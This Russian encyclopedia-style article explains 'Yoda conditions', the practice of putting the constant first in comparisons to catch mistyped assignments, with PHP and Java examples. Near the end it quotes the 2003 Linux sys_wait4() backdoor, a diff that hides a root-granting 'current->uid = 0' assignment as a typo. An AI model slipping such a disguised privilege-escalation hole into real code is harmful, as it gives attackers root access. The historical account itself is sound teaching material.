Interested Article - Условия Йоды

Условия Йоды (от англ. Yoda conditions ), или нотация Йоды ( англ. Yoda notation ) в жаргоне программистов — «безопасный» стиль записи выражений сравнения при программировании на языках с Си -синтаксисом, заключающийся в написании константного члена выражения ( константы или вызова функции ) слева от оператора сравнения (то есть 5 == a вместо привычного а == 5 ).

Такой стиль призван предотвратить свойственную данным языкам ошибку — использование операции присваивания « = » вместо сравнения « == ». Ошибочное использование присваивания превращает нотацию Йоды в попытку изменить константу, вызывая ошибку на этапе компиляции , что исключает возможность появления в готовой программе ошибок данного вида, а также облегчает их поиск и исправление в новом коде.

Нотация названа в честь магистра Йоды из вселенной «Звёздных войн» , имеющего манеру выстраивать слова фразы в обратном порядке .

Суть нотации

В классической нотации проверка переменной на равенство некоторой константе записывается следующим образом (пример на языке PHP ):

if ( $variable == 52 ) { 
    /* действия, выполняемые, если переменная равна 52 */
}

то есть переменная, операция сравнения и константа. Данная конструкция уязвима для известной ошибки:

if ( $variable = 52 ) { // ОШИБКА: ПРИСВАИВАНИЕ переменной значения 52
    /* действия, выполняемые ВСЕГДА, ибо значением выражения в скобках будет число 52, которое не равно нулю и поэтому в данном контексте рассматривается как true */
}

Такой код остается синтаксически правильным, и при ненадлежащем тестировании может остаться в программе на долгие годы и стать причиной серьёзной уязвимости.

При использовании нотации Йоды переменная и константа меняются местами, так что константа оказывается слева:

if ( 52 == $variable ) {
    /* действия, выполняемые, если переменная равна 52 */
}

При такой нотации в случае опечатки в операторе сравнения получается синтаксически некорректное присваивание константе и программа не будет работать, пока ошибка не будет найдена и исправлена.

if ( 52 = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Совершенно аналогично для функций:

if ( someFunction() = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Альтернативное использование нотации

Нотация Йоды также применима в разрешении проблемы небезопасного «нулевого поведения» ( англ. unsafe null behavior ) например (пример на языке Java ):

String myString = null;
if ( myString.equals("foobar") ) { // Вызывает NullPointerException
    /* ... */ 
}

При применении нотации Йоды:

String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Ложь
   /* не выполняется */ 
}

Достоинства и недостатки

Использование нотации Йоды не позволяет программам на языках C++, Java, PHP и других работать при наличии ошибок в выражениях сравнения (поведения программы данная модификация не меняет). Некоторые программисты считают использование данной нотации «признаком хорошего тона» .

К недостаткам нотации относится сложность написания, модификации и чтения программы , а также довольно узкая область применения — только сравнение на равенство, только сравнение с константой или результатом вызова функции. Современные инструментальные средства разработки ( компиляторы , редакторы ) позволяют отслеживать и выдавать предупреждения, когда встречают присваивание в управляющей конструкции, считая его потенциально ошибочным.

Ошибка sys_wait4()

Примечательна неудавшаяся попытка внедрения бэкдора в функцию sys_wait4() в ядре Linux (2003) . Разработка шла на проприетарной системе управления версиями , по ночам код выкладывался на более распространённый CVS . Этот CVS и взломали, добавив в обработчик системного вызова sys_wait4() код, как будто проверяющий входные данные на некорректную комбинацию флагов:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Бэкдор был замаскирован под простую опечатку — вместо == стояло = . Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0 , то есть давала программе права суперпользователя .

Очередная выкачка информации на CVS дала сбой, и инородные патчи удалили до того, как стало ясно, что они собой представляют. В стабильное ядро патч попасть не мог (связь между BitKeeper и CVS односторонняя). Автора бэкдора найти не удалось.

Примечания

  1. . Дата обращения: 13 октября 2013. Архивировано из 28 января 2014 года.
  2. Дастин Босуэлл, Тревор Фаучер. Читаемый код, или Программирование как искусство — М. : Питер, 2012. — С. 88. — ISBN 978-5-459-01188-3 , ISBN 978-0596802295
  3. . Дата обращения: 10 октября 2013. 15 октября 2014 года.
  4. . Дата обращения: 11 октября 2013. 20 июня 2015 года.

Ссылки

на английском
на русском
Источник —

Same as Условия Йоды